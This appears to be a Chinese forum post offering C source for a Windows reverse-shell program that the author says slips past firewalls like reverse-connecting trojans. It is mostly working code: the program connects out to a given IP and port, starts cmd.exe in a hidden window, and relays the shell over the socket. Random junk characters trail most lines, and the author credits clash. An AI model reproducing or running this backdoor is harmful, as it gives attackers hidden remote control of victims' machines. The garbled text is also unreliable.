这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sW8dPw
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/* ============================== T^]}Oy@e,J
Rebound port in Windows NT Nmh*EAJSy
By wind,2006/7 B4 }bVjs
===============================*/ hehFEyx
#include [z9Z5sLO
#include '@P^0+B!(.
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#pragma comment(lib,"wsock32.lib") +m,yA mEEd
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void OutputShell(); iO;
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SOCKET sClient; ,~W|]/b<q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x'R`.
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void main(int argc,char **argv) mpJ#:}n
{ D^;Uq8NDKq
WSADATA stWsaData; @"H>niG
int nRet; <1M-Ro?5k
SOCKADDR_IN stSaiClient,stSaiServer; Aq7osU1B
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if(argc != 3) 0_t!T'jr7
{ b>JDH1)
printf("Useage:\n\rRebound DestIP DestPort\n"); qJUK_6|3
return; y:l\$pGC%
} {.mngRQF
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WSAStartup(MAKEWORD(2,2),&stWsaData); K@hw.Xq"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nda *L|
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); m`r(p"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3=ymm^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9'q*:&qq
{ <Q?F?.^e
printf("Bind Socket Failed!\n"); UFuX@Lu0
return; $iz|\m
} _:27]K:
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stSaiServer.sin_family = AF_INET; '2^Q1{ :\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6)Lk-D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :9 ^*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H7:] ]j1
{ ]OzUGXxo~
printf("Connect Error!"); ]z9=}=If
return; HyWCMK6b
} ?6Y?a2 |
OutputShell(); q'82qY
} HHsmLo c4
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void OutputShell() wD)XjX
{ ~e@z;]CiY
char szBuff[1024]; TRq6NB
SECURITY_ATTRIBUTES stSecurityAttributes; "9e\c;a
OSVERSIONINFO stOsversionInfo; L;I]OC^J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sLQ^F
STARTUPINFO stStartupInfo; 8X|-rM{
char *szShell; H_Q+&9^/
PROCESS_INFORMATION stProcessInformation; 0"bcdG<}
unsigned long lBytesRead; ea')$gR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `W*U4?M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N?"]
stSecurityAttributes.lpSecurityDescriptor = 0; @sC`!Rmy'-
stSecurityAttributes.bInheritHandle = TRUE; kPLxEwl
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]?[fsdAQW
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e^D]EA]%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s-T\r"d=j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0:Ol7
stStartupInfo.wShowWindow = SW_HIDE; )P|),S,;Z
stStartupInfo.hStdInput = hReadPipe; "LTad`]<Ro
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A~t
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GetVersionEx(&stOsversionInfo); }U"&8%PZr
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switch(stOsversionInfo.dwPlatformId) WI-1)1t
{ ?<'}r7D
case 1: #4 pB@_
szShell = "command.com"; hQDXlFHT
break; r\V
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default: ^ (zYzd
szShell = "cmd.exe"; W9GVt$T7
break; %d<"l~<5;
} 7O-x<P;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WEi2=3dV
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send(sClient,szMsg,77,0); ~FG]wNgS
while(1) :X
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{ G*P#]eO
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^3L0w}#
if(lBytesRead)
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{ fS78>*K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wi6
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send(sClient,szBuff,lBytesRead,0); uk<9&{
} )|=j`jCC
else
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{ ?2Py_gkf
lBytesRead=recv(sClient,szBuff,1024,0); wEvVL
if(lBytesRead<=0) break; P
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |4 0`B% Z
} ,wAF:7'
} :^B1~p(?sK
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return; ZX./P0
}